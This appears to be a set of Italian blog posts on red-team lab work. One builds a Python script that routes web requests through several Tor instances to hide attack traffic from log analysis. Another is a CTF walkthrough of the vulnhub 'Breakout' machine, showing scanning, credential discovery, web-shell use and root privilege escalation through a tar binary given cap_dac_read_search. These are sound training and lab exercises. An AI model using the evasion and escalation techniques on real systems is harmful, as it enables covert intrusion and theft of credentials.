Inizialmente avevo pensato di utilizzare una tecnica di spoofing con scapy, non ho completamente abbandonato l’idea ma facendo un po’ di prove ho trovato più utile in questa fase utilizzare la rete Tor per far pervenire al web server chiamate da diversi IP. Per generare una quantità di traffico verosimile, corrispondente a più utenti che contemporaneamente accedono al sito target, non basta un singolo proxy in quanto l’IP di navigazione sarebbe unico all’interno della stessa finestra di tempo. L’idea è quindi di avviare più istanze Tor per ottenere diversi “path” di navigazione e quindi, in teoria, diversi exit node.

Nei log del web server mi aspetto quindi vengano registrati gli accessi di almeno tre IP address, in caso di utilizzo di tre istanze proxy, che dovrebbero anche variare dopo qualche minuto.

Nota a margine: su Tor ho già scritto qualcosa in passato di cui consiglio la lettura.

A livello di implementazione la base Tor è molto semplice, è ovviamente necessario disporre di almeno una macchina linux in cui installare il pacchetto con il comando:

$ apt install tor

Una volta installato ed avviato il servizio dovreste poter controllare lo status dello stesso. Nel mio caso la situazione post installazione (ho utilizzato un host Ubuntu LTS) è la seguente:

stato del demone Tor

Di default Tor utilizza la porta 9050 sulla loopback della macchina server su cui è installato, nel nostro laboratorio dobbiamo fare qualche modifica per ottenere tre istanze su tre differenti porte utilizzando l’IP di una delle interfacce di rete del sistema.

Il file di configurazione di base è /etc/tor/torrc di cui creeremo tre copie: torrc_1, torrc_2, torre_3. Per ogni file di configurazione imposteremo tre diverse tcp port, nel mio caso 9061, 9062, 9063:

configurazione del file torrc_1

Nello stesso file va anche definita una DataDirectory specifica, nel mio caso ho definito i path /var/lib/tor1, /var/lib/tor2, /var/lib/tor3. Una volta predisposti i file di configurazione possiamo quindi avviare le nostre tre istanze con il comando:

$ sudo tor -f /etc/tor/torrc_1 &
$ sudo tor -f /etc/tor/torrc_2 &
$ sudo tor -f /etc/tor/torrc_3 &

Il risultato deve essere di tre processi attivi e relativi servizi sulle porte definite:

Giunti a questo risultato abbiamo predisposto la base proxy. Ovviamente la quantità di processi è a vostra discrezione, il consumo di per se è basso e dipende molto da quanto traffico si andrà a generare. Il sistema che ho utilizzato per questo LAB è il mio “cube-pc”, non particolarmente potente ma abbastanza carrozzato a CPU. Una volta a runtime raccoglierò anche la statistiche di carico.

Generare la lista delle pagine “valide”

Obiettivo del lab è generare traffico verosimile, non possiamo quindi permetterci di ottenere una sfilza di errori 404 come abbiamo avuto modo di osservare in una passata sessione Red vs. Blue con Andrea in occasione dell’utilizzo di DirBuster. L’idea è di utilizzare un semplice crawler per raccogliere i link disponibili in una pagina del sito target per generare poi le richieste che simuleranno il traffico di ipotetici utenti.

Di tools a questo scopo ce ne sono centinaia, ma visto che lo scopo di queste sessione sessioni è approfondire e capire ci armiamo di python e ci creiamo il nostro piccolo crawler. Nulla di particolare, dobbiamo solo accedere al contenuto di una pagina web, estrarre tutti i link (che in HTML sono definiti con <a href=”https://www.sito.web/”>link</a&gt;) e posizionarli in un file di comodo. Lo script fatto per l’occasione lo trovate nella mia repo GitHub all’interno del progetto sToolz: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/AnonHttpReq.

Il funzionamento è molto semplice, lo script va lanciato dandogli come parametro la URL del sito target ed il nome file su cui riportare i link:

test dello script su questo blog

Lo script utilizza il file generato scrivendo in “append” eventuali nuovi contenuti ed è possibile passare come paramento anche una specifica pagina ottenendo l’arricchimento della lista dei link.

Componiamo l’arma cibernetica

Ora abbiamo i proxy e la lista degli URL validi da utilizzare, manca solo lo script per generare delle requests realistiche. Si tratta di una componente in realtà molto semplice da realizzare in quanto per utilizzare un proxy in una chiamata http/https possiamo tranquillamente utilizzare il modulo requests di python. Volendo essere particolarmente precisi potremmo eseguire richieste ad intervalli irregolari attingendo dalle URL in modo random.

Lo script che realizziamo deve prevedere tre parametri in input: la URL target, il file in cui sono presenti i link generati dal crawler e le iterazioni (quante richiesta fare). Si tratterà quindi di un classico ciclo in cui, per ogni iterazione, sceglieremo random il link target ed il proxy da utilizzare. Di seguito la porzione di codice del prototipo (nella repo trovate tutto):

while (i <= counter):
    pos = randrange(0, urls_num)
    socksp = randrange(1, 4)
    print("Select URL in pos {}, proxy {}: \t{}".format(pos, socksp, urls[pos]))
    # session.get(urls[pos]).text
    session.proxies = { 'http':  'socks5://192.168.1.6:906{}'.format(socksp), 'https': 'socks5://192.168.1.6:906{}'.format(socksp) }
    session.get(urls[pos])
    i = i+1

Ovviamente gli IP indicati nei socks5 si riferiscono al mio laboratorio e terminato il prototipo avrà senso portare queste info in un file di configurazione assieme a molte altre variabili.

Se abbiamo già a disposizione un elenco URL in un file precedentemente creato possiamo eseguire una prova verso il nostro target:

$ python ./AnonHttpReq.py http://ec2-15-161-154-157.eu-south-1.compute.amazonaws.com aws.txt 10

Facendo qualche test ho notato che ogni tanto i proxy vanno in timeout, c’è sicuramente del tuning da fare per rendete tutto più fluido gestendo la specifica eccezione.

Cosa manca?

Nella repo di sToolz trovate tutti gli script aggiornati e nelle prossime ore ci rimetteremo mano assieme grazie alla Live su Twitch prevista per il 14 ottobre alle 21:30. Oltre a sistemare un po’ la struttura dello script dobbiamo ovviamente sistemare un po’ di dettagli come lo user agent che viene registrato dai log del web server.

Diciamo che la base è pronta, bisogna sistemare i dettagli e rendere tutto utilizzabile con un mail script unico. Dopo di che potremo mettere alla priva il risultato assieme ad Andrea e, nella seconda parte, vediamo come predisporre un controllo che rilevi questo tipo di azioni.

cyber security, hacking

Attack and Defense: post-live del 21 settembre

Non l’ho fatto per la prima live in coppia con Andrea, ho pensato di farlo per la seconda sessione di ieri sera sul canale di Security Cert. Come ho raccontato un paio di settimana fa abbiamo in testa questa idea da qualche tempo ormai: condividere delle sessioni di analisi di un target per definire una strategia di attacco (lato mio) e una strategia di difesa (lato Andrea). Nella prima puntata abbiamo visto il contesto e la base di partenza del lab, una tipica VPS che espone una web app con qualche vulnerabilità. Ieri, in occasione della seconda puntata, abbiamo iniziato ad analizzare il target ed il questo post faccio un po’ la sintesi di quello che ci siamo detti, ovviamente dal mio punto di vista.

Qualche info di servizio prima di iniziare a discutere le azioni intraprese:

  • il video della live è archiviato sul canale YouTube di SecurityCert e lo trovate qui
  • sul mio canale porterò avanti le fasi di preparazione alla live, trovate la programmazione qui
  • la prossima live è programmata per il 06/10/2022
  • se volete partecipare attivamente alla sessione assieme ad Andrea (nelle azioni difensive) o assieme a me (nelle azioni offensiva) i dati di accesso all’ambiente vengono condivisi con i partecipanti alla sessione

Cosa abbiamo di fronte

Tra le prime azioni intraprese abbiamo ovviamente eseguito una scansione del sistema target. Essendo una macchina di recente installazione che è solitamente off-line (il lab viene disattivato quando non siamo live) non vi è possibilità di utilizzare tecniche passive come l’analisi di precedenti versioni dell’applicazione (Wayback Machine) o i rilevamenti di scansioni terze (Shodan).

Con il più classico degli nmap abbiamo ottenuto l’elenco dei servizi:

  • porta tcp\22 (ssh)
  • porta tcp\80 (apache2)
  • porta tcp\3306v (mysql)

L’accesso al DB è stato subito dall’esterno è stato quasi subito inibito da Andrea, in effetti non aveva senso e come prima azione ci era venuto in mente di tentare un brute force attack.

L’applicazione web espone un sito in WordPress che abbiamo subito preso in esame. Come discusso il live la prima cosa che verrebbe in mente a chiunque è di utilizzare dirb per dare un occhio ai path esposti e wpscan per verificare lo stato dell’applicazione, cosa assolutamente sensata e lo faremo anche noi. Prima ho voluto lasciare spazio a qualche tools/servizio terze parti per vedere che tipo di info avrebbero portato all’attenzione. Ve ne cito alcuni tra quelli provati, dateci un occhio anche voi:

Qualche elemento interessante da queste scansioni è emerso ma nulla di particolare, qualche risultato lo abbiamo commentato assieme in live. La scansione tramite wpscan da invece dei risultati molto chiari:

  • vengono enumerati due utenti (admin e events)
  • vengono rilevate tre plugin segnalate come out of date

Da una ricerca su wpscan.com emergono le potenziali vulnerabilità per:

  • wp-advanced-search v3.3.3
  • social-warfare <= 3.5.2
  • wp-file-upload

Nel rilevare le informazioni base che ci consentiranno di definire un modello di attacco abbiamo discusso delle evidenze che le nostre azioni hanno generato, in particolare i log che Andrea riusciva chiaramente a ricondurre alle nostre azioni.

ToDo per la prossima sessione

E’ evidente che siamo stati troppo rumorosi e il parte questo era lo scopo della sessione. In un contesto di Penetration Testing potrebbe anche non essere un problema ma in ambito Red Team lo è. Quindi per la prossima sessione sicuramente dobbiamo dotarci di uno strumento per generare traffico realistico sul sistema.

Una volta che abbiamo la possibilità di confonderci nella mischia inizieremo a verificare la possibilità di utilizzare le vulnerabilità plausibili per costruire una tattica di attacco.

Continua.

cyber security, hacking

Breakout [prima parte]: analisi ed exploiting

Qualche settimana fa rispetto a questo post Paolo Perego ha annunciato e pubblicato un video sull’analisi e l’exploiting di una macchina vulnhub: Breakout. In quel momento stavo valutando che contenuti presentare live su Twitch per il mese di agosto avendo previsto una minor partecipazione e volendo dedicare del tempo ad affinare un po’ le tecniche di red teaming. Ho quindi pensato di non guardare subito il video e di proporre live una sessione in cui eseguire lo stesso esercizio e, in un secondo momento, organizzare un confronto con Paolo per discutere i differenti approcci che possono essere utilizzati.

La scorsa settimana ho quindi tenuto la live in cui abbiamo, assieme ai presenti, giocato con la macchina fino a guadagnarci una shell come root. Da qui sono nate un po’ di riflessioni su come un attacker potrebbe agire in un contesto simile anche se, come discusso, per certi versi non proprio così realistico. Oltre al tema dell’accesso al sistema ci sono almeno altri due argomenti da approfondire: il post-exploiting e l’accesso permanente tramite un Command and Control (C2). Andiamo con ordine.

Scenario

La macchina è disponibile in formato OVA sul sito di vulnhub a questo link, è possibile quindi scaricare ed importare rapidamente il sistema sia su VMware Workstation/ESXi che su VirtualBox. La configurazione di default del sistema presenta una NIC configurata in DHCP, una volta accesa la macchina e collegata la NIC il sistema chiederà al DHCP server della rete in cui lo avrete posizionato un indirizzo IP usabile.

breakout console

Nel laboratorio presentato durante la live abbiamo fatto tutto praticamente solo con due VMs: la macchina Kali utilizzata come base di partenza delle azioni offensive e la macchina Breakout. Il laboratorio che utilizzeremo in questa sessione è lievemente più esteso per avvicinarci ad un contesto reale ed è composto da:

  • il mio laptop con la wls Kali dietro NAT
  • un server/host per ospitare le guest:
    • una VM ubuntu che utilizzeremo come macchina d’appoggio
    • la VM target

Fatta eccezione per la Kali tutte le altre VM connesse alla rete LAN del laboratorio e sono quindi nello stesso dominio di broadcast.

conf. di rete della macchina Kali

Ovviamente non ci sono particolari vincoli nella configurazione del laboratorio, accertatevi sono di avere almeno un sistema di grado di dialogare in modo bidirezionale con la macchina target in modo da lasciarci aperte più opzioni di comunicazione.

Rilevamento della macchina target e delle applicazioni

In questo caso è un’operazione superflua in quando siamo perfettamente a conoscenza dell’indirizzo IP della macchina target. In un contesto reale saremmo partiti da una serie di rilevamenti utilizzando tecniche di scansione passiva e attiva. Facendo un semplice scansione con nmap possiamo renderci conto di cosa c’è in rete, solitamente io inizio con qualcosa di molto leggero usando la funzione TCP Connect Scan o anche semplicemente con un hping:

$ nmap -sT 192.168.1.8
output della mia TCP Connect Scan
$ sudo hping3 192.168.1.x --rand-dest --interface eth0

Una volta individuata la macchina target ha sicuramente senso intensificare la scansione per raccogliere qualche info aggiuntiva sul sistema, in particolare ci interessa capire tutto ciò che espone a livello di servizi e, se possibile, qualche dato sulle applicazioni che stanno dietro. Continuiamo con nmap ma andiamo a verificare tutte le porte ed utilizziamo anche tutti gli script disponibili di default:

$ nmap -p- -sV --script=default 192.168.1.8 -oA breakout-scan.txt

Per comodità l’output lo salviamo su in file in modo da annotare quanto rilevato e consultarlo in caso di necessità senza eseguire nuove scansioni.

output della scansione

Abbiamo un bel po’ di dati, andiamo con ordine e vediamo cosa ci racconta di se il nostro target.

Porta 80/tcp aperta

La porta 80 è tra le più famose e ci fa pensare che il sistema abbia un web server attivo che nmap rileva come Apache versione 2.4.51. Viene anche individuato il sistema operativo Debian. Se è veramente disponibile un web server possiamo verificarlo facilmente semplicemente aprendo il browser e puntando all’IP della macchina target:

La default page di Apache2 è sufficientemente eloquente.

Porte 139\tcp e 445\tcp

Viene identificato un servizio Samba versione 4.6.2 che ci potrebbe aiutare ad approfondire qualche dato utilizzando specifici tools di enumerazione e verifica delle configurazioni “disponibili”.

Porte 10000\tcp e 20000\tcp

Viene rilevata l’applicazione “Webmin” in due differenti versioni: sulla porta 10000 è attiva la versione 1.981, sulla porta 20000 è attiva la versione 1.830. Durante la live mi sono documentato sull’applicazione che non avevo mai incontrato, si tratta di un tool per gestire server e applicazioni di uso comune come sistemi di pubblicazione contenuti, database, job.

Le due porte tcp sono di fatto utilizzate per esporre le interfacce web dell’applicazione Webmin e possiamo dare una sbirciata a ciò che si vede semplicemente accedendo con il nostro browser in https e specificando la porta da utilizzare:

Interfaccia di accesso amministrativo per webmin

Mentre la porta 10000 presenta la schermata di login per l’area amministrativa, sulla porta 20000 si potrà notare un’interfaccia leggermente diversa che fa riferimento a Usermin. Si tratta di fatto di due diverse applicazioni con scopi differenti ma soprattutto i relativi utenti hanno privilegi di accesso al sistema molto differenti: la parte amministrativa potrebbe infatti accedere con privilegi di root.

Analisi dei contenuti web

Durante la mia live a questo punto sono passato ad analizzare ciò che era visibile, ovvero le pagine web e le relative componenti, cercando documentazione specifica sull’applicazione che evidentemente viene pubblicata dal sistema. Paolo nella sua analisi ha eseguito anche un altro controllo che sul momento a me non era venuto in mente: con GoBuster ha dato un’occhiata alle directory pubblicate.

Per usare tools come GoBuster è indispensabile disporre di qualche wordlist e se usate kali troverete un patrimonio di file in /usr/share/wordlist. Anche per questo lab sto utilizzando kali ma è una installazione minima su wls2, devo quindi prima installare il pacchetto:

sudo apt install wordlist

Altre wordlist sono facilmente reperibili online, personalmente utilizzo quella di dirbuster disponibile qui: https://github.com/daviddias/node-dirbuster/tree/master/lists.

Abbiamo tutto il necessario per iniziare la scansione. Vi suggerisco, vista la dimensione dell’output, di buttare tutto in un file dedicato. L’operazione potrebbe richiedere qualche minuto e non è detto che si trovino informazioni utili.

$ gobuster dir -w /usr/share/wordlists/dirb/directory-list-lowercase-2.3-medium.txt -u https://192.168.1.8:10000 --wildcard -k > breakout_p10000.txt

E’ interessante osservare l’effetto di un’attività di questo tipo sulla macchina target: nel mio caso ho creato una VM con una vCPU a cui è stato assegnato il 70% di un vCORE della macchina host. Con la scansione attiva la macchina guest si trova ad avere il 100% di CPU usage a testimoniare che alcune azioni possono essere anche molto invasive in termini di system load. Se un attacker utilizzasse una tecnica di questo tipo senza eseguire prima del tuning a livello di richieste per secondo è molto probabile che i sistemi di monitoraggio segnalino anomalie di carico.

htop della macchina host: è ben visibile il processo VirtualBoxVM della macchina target

Nota tecnica sui tools di Directory Discovery: che sia GoBuster, DirBuster, fuff, […] il principio non cambia, usate quello che vi pare.

Oltre alla directory è opportuno verificare il contenuto delle pagine web. In questo caso abbiamo tre contenuti html: la default page di apache e le due login page di Webmin. Su questi specifici contenuti è possibile dare una semplice occhiata al sorgente o, per analisi più approfondite, utilizzare tools come BurpSuite (nella versione pro) per eseguire una scansione dell’applicazione a caccia di specifiche vulnerabilità.

In questo caso siamo in un contesto CTF e non è raro che vengano disseminati piccoli indizi qua e la nei sistemi, una veloce verifica del sorgente HTML porta infatti in evidenza uno di questi indizi: alla default page di apache è stata fatta un’aggiunta.

Si tratta di un commento HTML che riporta un testo cifrato con un metodo noto come Brain F*ck. Google è vostro, non farete nessuna fatica a trovare un tool di decodifica da cui uscirà una stringa che qui in parte nascondo: .2uqPEfj3D<P’*** .

Ha l’aspetto di una password e visto il messaggio nel commento HTML probabilmente lo è ma non abbiamo idea dell’utente associato. Durante la live ho provato ad utilizzare questa potenziale password associata all’utente root e admin su entrambe le interfacce di login ma senza successo.

Analisi dei servizi SMB

La scansione delle porte ha riportato la presenza di un servizio Samba 4.6.2 attivo sul sistema per il quale possiamo fare diverse verifiche a caccia di ulteriori informazioni o anche di livelli di accesso specifici. Per fare enumeration di smb abbiamo moltissimi tools a disposizione, primo tra tutti citerei enum4linux che di fatto ho utilizzato per primo anche in questo caso:

enum4linux con opzione -a

In questo caso la caccia è andata bene, la verifica ha fatto emergere un utente smb: cyber.

Da notare che nell’analisi dei contenuti era saltata fuori quella che sembrava essere una password.

Analisi delle applicazioni

Ci siamo imbattuti in un’applicazione web-based per la gestione del server: Webmin. La scansione ci aveva indicato le versioni delle applicazioni esposte, ha quindi senso verificare se esistono vulnerabilità note ed eventuali exploit. Basta una rapida ricerca su exploit-db.com per accorgersi che di vulnerabilità ne esistono diverse:

Meglio ancora, senza neanche lasciare la nostra cli come fatto durante la live, una query con searchploit ci da subito lo status di cosa è disponibile subito:

Le vulnerabilità non mancano ma le versioni non corrispondono, in questo caso ha poso senso tentare questa strada in quanto la probabilità di successo è praticamente nulla salvo incappare per puro caso in una versione vulnerabile ma non documentata.

Anche in relazione alla versione di Apache è opportuno fare un approfondimento (non fatto durante la live). Nmap ha rilevato la versione 2.4.51 a cui sono associate un paio di CVE:

Su queste CVE non ci sono exploit noti ma esiste documentazione interessante in relazione ad un p-o-c per la vulnerabilità del modulo “mod_lua” che non abbiamo ancora avuto modo di verificare in questa installazione. In questo contesto non procedo oltre ma potrebbe essere interessante approfondire in futuro ovviamente in un contesto dove è presente uno script lua. Metto in ToDo 😉

Accesso all’applicazione

Come emerso dalle nostre ricerche abbiamo un utente ed una credenziale che a questo punto vale la pena provare. L’unico punto di accesso incontrato sono le due applicazioni Webmin e Usermin ed è qui che facciamo il primo tentativo. La login page dell’applicazione Usermin (porta tcp\20000) vi darà accesso al portale; navigando un po’ le funzionalità dell’applicazione ci si imbatte in una web-shell all’interno del menu Login >> Command Shell:

web shell all’interno dell’applicazione

In questa situazione la prima cosa da fare è raccogliere informazioni sul sistema cercando di capire come è configurato e che software è in uso. Partiamo con questa sequenza di comandi:

pwd && ls -l && id && ps ax

Per ottengo questo output:

> pwd && ls -l && id && ps ax
/home/cyber
total 616
-rwxr-xr-x 1 root  root  531928 Oct 19  2021 tar
-rw-r--r-- 1 cyber cyber     48 Oct 19  2021 user.txt
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
    PID TTY      STAT   TIME COMMAND
[...]
    284 ?        Ssl    0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
    313 ?        Ss     0:00 /usr/sbin/cron -f
    314 ?        Ss     0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
    325 ?        Ss     0:00 /usr/sbin/nmbd --foreground --no-process-group
    329 ?        Ssl    0:00 /usr/sbin/rsyslogd -n -iNONE
    330 ?        Ss     0:00 /lib/systemd/systemd-logind
    385 tty1     Ss+    0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
    392 ?        Ss     0:00 /usr/sbin/apache2 -k start
    524 ?        Sl     0:00 /usr/sbin/apache2 -k start
    525 ?        Sl     0:00 /usr/sbin/apache2 -k start
    596 ?        Ss     0:00 /usr/bin/perl /usr/share/usermin/miniserv.pl /etc/usermin/miniserv.conf
    598 ?        Ss     0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
    668 ?        Ssl    0:00 /lib/systemd/systemd-timesyncd
    691 ?        Ss     0:00 /usr/sbin/smbd --foreground --no-process-group
    693 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    694 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    696 ?        S      0:00 /usr/sbin/smbd --foreground --no-process-group
    774 ?        I      0:00 [kworker/u2:0-flush-8:0]
    793 ?        I      0:01 [kworker/0:0-events]
    872 ?        S      0:00 /usr/share/usermin/shell/index.cgi
    875 ?        S      0:00 sh -c /bin/su cyber -c cd\ \/home\/cyber\ \&\&\ pwd\ \&\&\ ls\ \-l\ \&\&\ id\ \&\&\ ps\ ax 2>&1
    876 ?        S      0:00 /bin/su cyber -c cd /home/cyber && pwd && ls -l && id && ps ax
    878 ?        Ss     0:00 /lib/systemd/systemd --user
    879 ?        S      0:00 (sd-pam)
    897 ?        Rs     0:00 ps ax

Siamo della home dell’utente cyber dove troviamo due file: un binario di tar (già questo è curioso) ed il file user.txt.

Altra cosa che mi viene naturale fare è buttare un occhio alla /usr/bin per rendermi conto di che utility possiamo disporre:

Stessa cosa per la /var a caccia di info nei logs e dove si nota una directory backups:

> ls -la /var/backups
total 32
drwxr-xr-x  2 root root  4096 Aug 26 18:33 .
drwxr-xr-x 14 root root  4096 Oct 19  2021 ..
-rw-r--r--  1 root root  1467 Oct 19  2021 apt.extended_states.1.gz
-rw-------  1 root root    17 Oct 20  2021 .old_pass.bak

Salta abbastanza all’occhio il file .old_pass.bak in un path che spesso cerco volutamente, ovvero tutto ciò che ha a che fare con backup e dump. Il file è accessibile solo per l’utente root.

Teniamo sempre presente che il contesto in cui siamo è quello di una macchina preparata appositamente per essere compromessa, sono quindi presenti delle tracce o degli indizi più o meno visibili. In questo caso quel “tar” nella home dell’utente salta anche fin troppo all’occhio e, considerando le funzionalità del tool, potrebbe tornare utile se volessimo “leggere” in modo alternativo il contenuto di un file.

Esistono diversi modi per accedere ad un file che è accessibile solo all’utente root senza essere root: il più noto è forse l’utility sudo che ci consente di eseguire un comando con i privilegi super user (Super User DO) con il “problema” di concedere forse troppo agli utenti. Un altro metodo, che personalmente utilizzo poco, è quelle di assegnare ad un eseguibile (e quindi al suo processo) delle capacità aggiuntive chiamate appunto capabilities.

Quanto abbiamo a disposizione – la shell dell’utente cyber – ci consente di eseguire questo tipo di verifica:

utilizzo del comando getcap

Con il comando getcap possiamo verificare che capabilities sono state assegnato ad uno specifico file/processo, in questo caso abbiamo come output cap_dac_read_search=ep. Diamo un occhio alla documentazione ufficiale in tema di capabilities:

rif: https://man7.org/linux/man-pages/man7/capabilities.7.html

Molto eloquente direi, l’eseguibile tar è stato dotato della capacità di leggere un file a prescindere dai permessi a questo associati, in parole povere il nostro /home/cyber/tar può leggere qualsiasi file e noi abbiamo un file da leggere che richiede di essere super user. Idee?

Privilege escalation

Il nome del file a cui stiamo puntando è “old_pass.bak”, la nostra speranza è quindi quella di trovare le info per accedere come root al sistema. Visto che il nostro tar può leggere questo file proviamo a creare un archivio:

L’archivio viene comunque creato e l’owner è ovviamente l’utente cyber, possiamo quindi procedere ad una estrazione del contenuto usando anche l’utility tar di sistema visto che la letture del file ormai è avvenuta correttamente e l’archivio è di proprietà del nostro utente:

I più attenti noteranno che viene estratta una directory (var), tutto corretto visto che quando abbiamo creato l’archivio abbiamo puntato ad un path assoluto (/var/backups) e non solo al file di nostro interesse. Dentro la directory troveremo finalmente il nostro file a cui sono ora attribuiti i permessi sufficienti per essere letto anche dall’utente cyber:

Non resta che provare questa potenziale password per l’utente root, la prima verifica è per la web-shell che abbiamo utilizzato sino ad ora:

Passando la password al comando “su” evitiamo che ci venga chiesta a livello prompt, azione necessario visto che tramite la web-shell poi non potremmo inserirla. In live avevamo subito utilizzato una reverse shell quindi fu possibile inserire la password dopo aver dato il comando “su”.

Abbiamo però appurato che la password è corretta avendo come output del comando “id” la stringa “uid=0(root)”. Possiamo quindi sicuramente dare comandi come root da questa web-shell ma ancora meglio potremmo utilizzare questa credenziale per accedere alla parte amministrativa dell’applicazione disponibile sulla porta tcp\10000.

Welcome to Webmin 🙂

Anche in questa sezione dell’applicazione abbiamo un comoda web-shell che questa volta accede al sistema come root:

root web-shell

A questo punto la macchina è nostra.

Prossimi step

Come da premesse in questo post volevo illustrare gli step e le analisi che ci hanno condotto ad ottenere un accesso root al sistema. Possiamo andare ben oltre e iniziare a lavorare sulla macchina per comprendere il contesto in cui si trova, le configurazione base e come potrebbe essere governata da remoto.

Ovviamente alcuni di questi ragionamenti li farò assieme ai presenti alle prossime live (questa sera, 16 settembre, affrontiamo parte dell’argomento) e seguiranno gli articoli di resoconto.